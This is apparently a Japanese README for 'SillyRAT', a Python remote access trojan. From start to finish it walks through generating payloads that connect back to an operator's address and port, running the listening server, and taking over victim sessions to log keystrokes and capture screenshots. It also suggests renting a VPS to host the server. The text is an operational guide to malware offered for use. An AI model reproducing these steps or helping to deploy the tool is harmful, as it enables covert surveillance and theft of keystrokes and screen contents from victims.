

純粋なパイソンで書かれたクロスプラットフォームラット。ラットは、接続を受け入れるサーバーとして実行するか、サーバーへの接続を確立するクライアント/ターゲットとして実行するために、引数と一緒にコマンドを受け入れます。 Generateコマンドは、モジュールpyinstallerを使用して実際のペイロードコードをコンパイルします。したがって、それぞれのプラットフォームのペイロードファイルを生成するには、ファイルを生成しながらそのプラットフォーム上にいる必要があります。さらに、ソースファイルも直接取得できます。
このツールは、Python 3.8でParrot OSでテストされています。インストールの手順に従ってください:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
ペイロードファイルを2つの方法で取得できます。
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
コンパイルされたバージョンは、それぞれのプラットフォームで生成する必要があります。たとえば、Linuxで.exeファイルを生成することはできません。具体的にはWindowsにいる必要があります。ツールはまだテスト中です。したがって、あらゆる種類のエラーが受け入れられます。ただし、問題を開くようにしてください。 Linuxのコンパイルされたバージョンの生成:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

上記のコマンドでIPアドレスとポートを交換します。
サーバーはLinuxで実行する必要があります。接続用にVPSまたはクラウドサーバーを購入できます。記録のために、サーバーは最後の実行からセッションを保存しません。そのため、サーバーアプリケーションが終了すると、すべての進捗が失われます。サーバーの実行:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
すべての接続は、セッションコマンドにリストされます。
$ sessions

Connect Connectコマンドでターゲットセッションに接続し、利用可能なコマンドのいずれかを起動できます。
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

利用可能なコマンドのリストを取得します:
$ help
特定のコマンドでヘルプ:
$ help COMMAND
Twitter: @hash3lizer
不一致:TheFlash2K#0407